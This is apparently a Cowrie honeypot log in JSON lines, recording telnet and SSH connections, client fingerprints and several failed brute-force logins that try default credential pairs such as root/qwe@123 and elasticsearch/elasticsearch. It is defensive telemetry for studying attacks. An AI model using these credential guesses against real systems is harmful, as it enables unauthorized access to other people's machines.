{"eventid":"cowrie.session.closed","duration":29.152583122253418,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:51:22.643425Z","src_ip":"152.42.224.71","session":"2309264e1045","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.910887002944946,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:51:22.718775Z","src_ip":"152.42.224.71","session":"8b6e03c2246b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41128,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e1eaecdbb75","protocol":"telnet","message":"New connection: 152.42.224.71:41128 (10.17.0.5:23) [session: 6e1eaecdbb75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:51:22.882808Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41132,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb3fccc808e6","protocol":"telnet","message":"New connection: 152.42.224.71:41132 (10.17.0.5:23) [session: cb3fccc808e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:51:22.950214Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":42408,"dst_ip":"159.203.135.109","dst_port":22,"session":"8030635d0ed1","protocol":"ssh","message":"New connection: 31.40.204.166:42408 (159.203.135.109:22) [session: 8030635d0ed1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:51:23.081350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:51:23.111438Z","src_ip":"31.40.204.166","session":"8030635d0ed1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:51:23.416011Z","src_ip":"31.40.204.166","session":"8030635d0ed1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":29.47247886657715,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:51:23.649692Z","src_ip":"152.42.224.71","session":"fa82ebb6744f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe@123","message":"login attempt [root/qwe@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:51:23.924389Z","src_ip":"31.40.204.166","session":"8030635d0ed1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:51:25.191672Z","src_ip":"31.40.204.166","session":"8030635d0ed1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":22.65938401222229,"message":"Connection lost after 22 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:51:27.112918Z","src_ip":"152.42.224.71","session":"8fd7cae445b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.287728786468506,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:51:27.273120Z","src_ip":"152.42.224.71","session":"80927b512344","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.948596239089966,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:51:27.978774Z","src_ip":"152.42.224.71","session":"40927f1b9ae2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":58592,"dst_ip":"10.17.0.5","dst_port":22,"session":"748fef46b277","protocol":"ssh","message":"New connection: 176.32.39.21:58592 (10.17.0.5:22) [session: 748fef46b277]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:51:29.879096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:51:29.883873Z","src_ip":"176.32.39.21","session":"748fef46b277","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:51:30.004899Z","src_ip":"176.32.39.21","session":"748fef46b277","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"warface","message":"login attempt [root/warface] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:51:30.366843Z","src_ip":"176.32.39.21","session":"748fef46b277","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:51:31.494278Z","src_ip":"176.32.39.21","session":"748fef46b277","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.714176416397095,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:51:31.925822Z","src_ip":"152.42.224.71","session":"ceb808aaf70f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37336,"dst_ip":"10.17.0.5","dst_port":23,"session":"cdc9f65bb13d","protocol":"telnet","message":"New connection: 152.42.224.71:37336 (10.17.0.5:23) [session: cdc9f65bb13d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:51:33.481478Z"}
{"eventid":"cowrie.session.closed","duration":41.90503644943237,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:51:34.389364Z","src_ip":"152.42.224.71","session":"719812d790d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37348,"dst_ip":"10.17.0.5","dst_port":23,"session":"18cded94e452","protocol":"telnet","message":"New connection: 152.42.224.71:37348 (10.17.0.5:23) [session: 18cded94e452]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:51:34.976038Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":38122,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c340525c6e0","protocol":"ssh","message":"New connection: 31.40.204.166:38122 (159.203.135.109:22) [session: 0c340525c6e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:51:35.690679Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:51:35.695410Z","src_ip":"31.40.204.166","session":"0c340525c6e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:51:35.823406Z","src_ip":"31.40.204.166","session":"0c340525c6e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lighthouse","password":"lighthouse","message":"login attempt [lighthouse/lighthouse] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:51:36.323235Z","src_ip":"31.40.204.166","session":"0c340525c6e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37954,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d4d3c3b6976","protocol":"telnet","message":"New connection: 152.42.224.71:37954 (10.17.0.5:23) [session: 7d4d3c3b6976]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:51:36.934685Z"}
{"eventid":"cowrie.session.closed","duration":97.99840092658997,"message":"Connection lost after 97 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:51:37.172037Z","src_ip":"152.42.224.71","session":"bf994b5fcbf2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37968,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a0cff9c47a6","protocol":"telnet","message":"New connection: 152.42.224.71:37968 (10.17.0.5:23) [session: 4a0cff9c47a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:51:37.209693Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:51:37.494974Z","src_ip":"31.40.204.166","session":"0c340525c6e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":64.21313118934631,"message":"Connection lost after 64 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:51:38.104766Z","src_ip":"152.42.224.71","session":"5978cfa4b850","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00183868408203,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:51:38.647743Z","src_ip":"152.42.224.71","session":"cab554ff41e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.1520574092865,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:51:40.216350Z","src_ip":"152.42.224.71","session":"6270f8392ce3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":59924,"dst_ip":"159.203.135.109","dst_port":22,"session":"048fad13a51d","protocol":"ssh","message":"New connection: 31.40.204.166:59924 (159.203.135.109:22) [session: 048fad13a51d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:51:48.185131Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:51:48.189697Z","src_ip":"31.40.204.166","session":"048fad13a51d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33372,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ea034a9a545","protocol":"telnet","message":"New connection: 152.42.224.71:33372 (10.17.0.5:23) [session: 7ea034a9a545]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:51:48.209576Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:51:48.319433Z","src_ip":"31.40.204.166","session":"048fad13a51d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"localhost","password":"localhost","message":"login attempt [localhost/localhost] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:51:48.817991Z","src_ip":"31.40.204.166","session":"048fad13a51d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:51:50.014176Z","src_ip":"31.40.204.166","session":"048fad13a51d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":27.296915769577026,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:51:50.179585Z","src_ip":"152.42.224.71","session":"6e1eaecdbb75","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00187754631042,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:51:50.470982Z","src_ip":"152.42.224.71","session":"01f8015b07ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33386,"dst_ip":"10.17.0.5","dst_port":23,"session":"36a195c5e12a","protocol":"telnet","message":"New connection: 152.42.224.71:33386 (10.17.0.5:23) [session: 36a195c5e12a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:51:51.096066Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33400,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3953dc864aa","protocol":"telnet","message":"New connection: 152.42.224.71:33400 (10.17.0.5:23) [session: e3953dc864aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:51:51.944982Z"}
{"eventid":"cowrie.session.closed","duration":35.07234477996826,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:51:52.198087Z","src_ip":"152.42.224.71","session":"05c3cf6e9ee3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33412,"dst_ip":"10.17.0.5","dst_port":23,"session":"43e53429adeb","protocol":"telnet","message":"New connection: 152.42.224.71:33412 (10.17.0.5:23) [session: 43e53429adeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:51:53.489034Z"}
{"eventid":"cowrie.session.closed","duration":43.263312339782715,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:51:53.936720Z","src_ip":"152.42.224.71","session":"f2886f9e19df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0111186504364,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:51:53.945965Z","src_ip":"152.42.224.71","session":"fa91fca5dd93","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51016,"dst_ip":"10.17.0.5","dst_port":23,"session":"7406e9039a00","protocol":"telnet","message":"New connection: 152.42.224.71:51016 (10.17.0.5:23) [session: 7406e9039a00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:51:58.629410Z"}
{"eventid":"cowrie.session.closed","duration":75.98403930664062,"message":"Connection lost after 75 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:00.232227Z","src_ip":"152.42.224.71","session":"75105b04f3b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":53042,"dst_ip":"159.203.135.109","dst_port":22,"session":"33825899f605","protocol":"ssh","message":"New connection: 31.40.204.166:53042 (159.203.135.109:22) [session: 33825899f605]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:00.505380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:00.587901Z","src_ip":"31.40.204.166","session":"33825899f605","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:00.718029Z","src_ip":"31.40.204.166","session":"33825899f605","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"elasticsearch","message":"login attempt [elasticsearch/elasticsearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:01.325640Z","src_ip":"31.40.204.166","session":"33825899f605","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51024,"dst_ip":"10.17.0.5","dst_port":23,"session":"f822b3032a06","protocol":"telnet","message":"New connection: 152.42.224.71:51024 (10.17.0.5:23) [session: f822b3032a06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:01.554188Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:02.596799Z","src_ip":"31.40.204.166","session":"33825899f605","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51056,"dst_ip":"10.17.0.5","dst_port":23,"session":"75b6b2b733d5","protocol":"telnet","message":"New connection: 152.42.224.71:51056 (10.17.0.5:23) [session: 75b6b2b733d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:02.911756Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51040,"dst_ip":"10.17.0.5","dst_port":23,"session":"13e801d3b048","protocol":"telnet","message":"New connection: 152.42.224.71:51040 (10.17.0.5:23) [session: 13e801d3b048]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:02.938525Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44118,"dst_ip":"10.17.0.5","dst_port":23,"session":"89261b745ad3","protocol":"telnet","message":"New connection: 152.42.224.71:44118 (10.17.0.5:23) [session: 89261b745ad3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:06.401332Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44122,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a22fdeb972e","protocol":"telnet","message":"New connection: 152.42.224.71:44122 (10.17.0.5:23) [session: 8a22fdeb972e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:52:09.121902Z"}
